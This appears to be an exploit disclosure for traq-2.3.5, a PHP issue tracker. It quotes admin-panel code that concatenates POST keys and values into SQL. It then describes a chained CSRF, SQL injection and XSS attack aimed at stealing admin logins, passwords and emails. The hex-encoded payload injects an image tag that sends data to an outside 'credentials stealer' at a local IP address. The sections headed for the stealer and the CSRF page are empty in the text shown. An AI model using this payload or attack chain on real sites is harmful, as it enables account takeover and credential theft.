====================================================================
Vulnerable Software: traq-2.3.5
Official Site: TraqProject.org
====================================================================
About Software:
Traq is a PHP powered project manager, capable of tracking issues for multiple projects 
with multiple milestones.
====================================================================
Tested on:
*php.ini MAGIC_QUOTES_GPC OFF*
Safe mode off
/*
OS: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
MYSQL:  5.5.25
*/
====================================================================
Vuln Desc:
traq-2.3.5 is prone to: CSRF,XSS,SQL injection vulns.
[+] LESSON NUMBER 1:VULN IS VULN. IT DOESN'T MATTER WHERE IT EXISTS.
====================================================================
I noticed many developers,coders,admins,webmaster always thinks:
"If you find vuln(s) in administration section you can't exploit it.
You need to login to administration section to exploit it.Bla bla bla."
=======I HOPE THIS will be LESSON FOR ALL WHO THINKS LIKE BOTTOM=========
Vulnerable code section:
//admincp/groups.php
====================================================================
  // Create
  if(@$_POST['action'] == 'create')
  {
    // Check for errors
    if(empty($_POST['values']['name']))
      $errors['name'] = l('error_name_empty');
      
    if(!count($errors))
    {
      // Sort columns from values
      $keys = array();
      $values = array();
      foreach($_POST['values'] as $key => $val)
      {
        $keys[] = $key;
        $values[] = "'".$val."'";
      }
      
      $db->query("INSERT INTO ".DBPF."usergroups (".implode(',',$keys).") VALUES(".implode(',',$values).")");
      
      header("Location: groups.php?created");
    }
    
    $group = $_POST['values'];
  }
  
  // Save Usergroup
  if(@$_POST['action'] == 'save')
  {
    // Check for errors
    if(empty($_POST['values']['name']))
      $errors['name'] = l('error_name_empty');
      
    if(!count($errors))
    {
      // Make the query.
      $query = array();
      foreach($_POST['values'] as $key => $val)
        $query[] = $key."='".$val."'";
      
      // Run the query.
      $db->query("UPDATE ".DBPF."usergroups SET ".implode(', ',$query)." WHERE id='".$db->res($_REQUEST['edit'])."' LIMIT 1");
      
      header("Location: groups.php?saved");
    }
  }
====================================================================
We'll exploit 3 vulns together:
CSRF+SQL INJECTION+XSS
As result we will steal admin credentials(login:password:email) from database.
Payload:
mysql> select 0x41646D696E6973747261746F72733C2F613E3C696D67207372633D22687474703A2F2F3139322E3136382E302E31352F6C6561726E2F747261
666669632E7068703F67657470776E65643D \G
*************************** 1. row ***************************
0x41646D696E6973747261746F72733C2F613E3C696D67207372633D22687474703A2F2F3139322E3136382E302E31352F6C6561726E2F747261666669632E7068
703F67657470776E65643D: Administrators
1 row in set (0.00 sec)
//Our "Cookie Stealer" (In this case it is our credentials stealer *aka snifer*)
//traffic.php
==================BEGIN TRAFFIC.PHP===============
================ EOF TRAFFIC.HTML=================
================ EOF PAGE1.HTML================